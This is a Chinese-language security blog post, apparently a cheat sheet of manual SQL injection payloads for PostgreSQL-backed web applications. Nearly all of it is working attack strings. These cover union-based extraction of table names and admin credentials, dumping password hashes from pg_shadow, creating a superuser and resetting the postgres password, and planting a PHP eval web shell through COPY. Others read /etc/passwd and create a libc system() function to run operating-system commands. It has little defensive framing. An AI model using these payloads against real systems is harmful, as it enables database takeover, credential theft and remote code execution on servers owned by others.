最新消息:

PostgreSql数据库手工注入玩法

渗透测试 Eternal 10308浏览 0评论
114405u7up2uqmfm7pc2qk
postgresql? 数据库注入常用语法:
1. 判断是否为 postgresql数据库:? +and+1::int=1–??? 例:http://mysql.sql.com/sql.php?id=1+and+1::int=1–
2.判断数据库版本信息: +and+1=cast(version() as int)–
3.判断当前用户: and 1=cast(user||123 as int)
4.判断有多少字段: order by
5.判断当前用户:
union select null,null,null
union select null,user,null
postgresql数据库注入常用语法:
1.判断数据库版本信息:union select null,version(),null–
2.判断用户权限:union+select+null,current_schema(),null
3.判断当前数据库名称:union+select+null,current_database(),null
4.判断当前表名:union+select+null,relname,null from pg_stat_user_tables
5.读取每个表的列名:union+select+null,column_name,null+from+information_schema.columns+where+table_name=’
表名’
postgresql数据库注入常用语法:
1.列字段内容:+union+select+null,name||pass,null+from+admin
2.查看postgresql数据库的账号密码:+union+select+null,usename||chr(124)||passwd,null+from+pg_shadow
3.创建用户:? ;create+user+seven+with+superuser+password+’seven’–
4.修改postgres的用户密码为 123456:? ;alter+user+postgres+with+password+’123456′–
postgresql 高级玩法:
1. 直接拿shell: http://127.0.0.1/sql.php?id=1;create table shell(shell text not null);
http://127.0.0.1/sql.php?id=1;insert into shell values($$<?php @eval($_POST[secist]);?>$$);
http://127.0.0.1/sql.php?id=1;copy shell(shell) to ‘/var/www/html/shell.php’;
2.另一种方法:? ;copy (select ‘$$<?php @eval($_POST[secist]);?>$$’) to ‘c:/inetpub/wwwroot/mysql/1.php’
3.读取文件前20行:pg_read_file(‘/etc/passwd’,1,20
创建system函数:
1. 用于版本大于8的数据库创建一个system的函数: create FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6’, ‘system’ LANGUAGE ‘C’ STRICT
2. 创建一个输出表: create table stdout(id serial, system_out text)
3.执行shell,输出到输出表内: select system(‘uname -a > /tmp/test’)
4.copy输出的内容到表里面: COPY stdout(system_out) FROM ‘/tmp/test’
5.从输出表内读取执行后的回显,判断是否执行成功: union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1–-
数据库的备份还原:
1.备份数据库:pg_dump -O -h 168.192.0.5 -U postgres mdb >c:\mdb.sql”
pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 SS >SS.sql? 这个是远程备份数据库备份到本地来
2.还原数据库: psql -h localhost -U postgres -d mdb
本文由 即刻安全 编辑整理,转载需请注明来源!

转载请注明:即刻安全 » PostgreSql数据库手工注入玩法

您必须 登录 才能发表评论!

网友最新评论 (2)



合作伙伴